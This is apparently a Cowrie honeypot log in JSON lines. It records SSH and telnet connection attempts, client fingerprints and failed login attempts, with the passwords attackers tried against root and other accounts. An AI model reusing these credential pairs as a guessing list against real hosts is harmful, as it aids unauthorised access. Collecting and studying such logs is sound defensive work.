{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:26.559241Z","src_ip":"103.82.20.28","session":"5b05b0b17008","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"16011980","message":"login attempt [root/16011980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:26.783081Z","src_ip":"62.133.62.83","session":"da517ed4dbbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:26.812466Z","src_ip":"103.82.20.28","session":"5b05b0b17008","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"020484","message":"login attempt [root/020484] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:27.576029Z","src_ip":"103.82.20.28","session":"5b05b0b17008","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.174.5.146","src_port":15826,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce74c15f1acf","protocol":"ssh","message":"New connection: 172.174.5.146:15826 (159.203.135.109:22) [session: ce74c15f1acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:27.685102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:27.690105Z","src_ip":"172.174.5.146","session":"ce74c15f1acf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:27.705141Z","src_ip":"172.174.5.146","session":"ce74c15f1acf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:27.782364Z","src_ip":"172.174.5.146","session":"ce74c15f1acf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:27.865679Z","src_ip":"62.133.62.83","session":"da517ed4dbbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:28.798911Z","src_ip":"172.174.5.146","session":"ce74c15f1acf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:28.833659Z","src_ip":"103.82.20.28","session":"5b05b0b17008","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.177.234.24","src_port":35672,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9da97f7c348","protocol":"ssh","message":"New connection: 14.177.234.24:35672 (10.17.0.5:22) [session: d9da97f7c348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:29.507471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:29.511552Z","src_ip":"14.177.234.24","session":"d9da97f7c348","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:29.747246Z","src_ip":"14.177.234.24","session":"d9da97f7c348","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"key","message":"login attempt [root/key] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:30.724148Z","src_ip":"14.177.234.24","session":"d9da97f7c348","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:31.963906Z","src_ip":"14.177.234.24","session":"d9da97f7c348","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.200.19","src_port":36244,"dst_ip":"159.203.135.109","dst_port":22,"session":"81dca6fee267","protocol":"ssh","message":"New connection: 43.160.200.19:36244 (159.203.135.109:22) [session: 81dca6fee267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:33.513135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:33.516793Z","src_ip":"43.160.200.19","session":"81dca6fee267","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:33.760830Z","src_ip":"43.160.200.19","session":"81dca6fee267","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin-1234","message":"login attempt [root/admin-1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:34.778741Z","src_ip":"43.160.200.19","session":"81dca6fee267","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:36.029388Z","src_ip":"43.160.200.19","session":"81dca6fee267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":56122,"dst_ip":"159.203.135.109","dst_port":22,"session":"82f3f9d9cdf8","protocol":"ssh","message":"New connection: 194.113.233.25:56122 (159.203.135.109:22) [session: 82f3f9d9cdf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:39.841153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:39.845994Z","src_ip":"194.113.233.25","session":"82f3f9d9cdf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:39.931954Z","src_ip":"194.113.233.25","session":"82f3f9d9cdf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"26031994","message":"login attempt [root/26031994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:40.184484Z","src_ip":"194.113.233.25","session":"82f3f9d9cdf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:41.270591Z","src_ip":"194.113.233.25","session":"82f3f9d9cdf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":49716,"dst_ip":"159.203.135.109","dst_port":22,"session":"504ca2f6f8d5","protocol":"ssh","message":"New connection: 160.187.174.22:49716 (159.203.135.109:22) [session: 504ca2f6f8d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:50.314815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:50.471638Z","src_ip":"160.187.174.22","session":"504ca2f6f8d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:50.559434Z","src_ip":"160.187.174.22","session":"504ca2f6f8d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:51.526854Z","src_ip":"160.187.174.22","session":"504ca2f6f8d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:52.771286Z","src_ip":"160.187.174.22","session":"504ca2f6f8d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":43566,"dst_ip":"159.203.135.109","dst_port":23,"session":"3739d960ebea","protocol":"telnet","message":"New connection: 107.6.151.170:43566 (159.203.135.109:23) [session: 3739d960ebea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:06.990661Z"}
{"eventid":"cowrie.session.closed","duration":108.95146226882935,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:11.308762Z","src_ip":"170.64.224.25","session":"07e8847d2aeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":43210,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0fc1c8e8ae9","protocol":"ssh","message":"New connection: 160.187.174.22:43210 (159.203.135.109:22) [session: b0fc1c8e8ae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:20.644887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:20.651105Z","src_ip":"160.187.174.22","session":"b0fc1c8e8ae9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:20.911296Z","src_ip":"160.187.174.22","session":"b0fc1c8e8ae9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123456","message":"login attempt [app/app123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:21.698804Z","src_ip":"160.187.174.22","session":"b0fc1c8e8ae9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:22.950693Z","src_ip":"160.187.174.22","session":"b0fc1c8e8ae9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.216.105","src_port":46404,"dst_ip":"10.17.0.5","dst_port":22,"session":"26d1519a570c","protocol":"ssh","message":"New connection: 172.190.216.105:46404 (10.17.0.5:22) [session: 26d1519a570c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:32.907977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:32.958460Z","src_ip":"172.190.216.105","session":"26d1519a570c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:32.968410Z","src_ip":"172.190.216.105","session":"26d1519a570c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50044,"dst_ip":"159.203.135.109","dst_port":23,"session":"5093ceef136f","protocol":"telnet","message":"New connection: 170.64.224.25:50044 (159.203.135.109:23) [session: 5093ceef136f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:40.105363Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@SSW0RD1","message":"login attempt [root/P@SSW0RD1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:45.237284Z","src_ip":"172.190.216.105","session":"26d1519a570c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.1","message":"Connection lost after 14.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:47.046550Z","src_ip":"172.190.216.105","session":"26d1519a570c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":48970,"dst_ip":"159.203.135.109","dst_port":22,"session":"76e60d03b573","protocol":"ssh","message":"New connection: 160.187.174.22:48970 (159.203.135.109:22) [session: 76e60d03b573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:01:51.065776Z"}
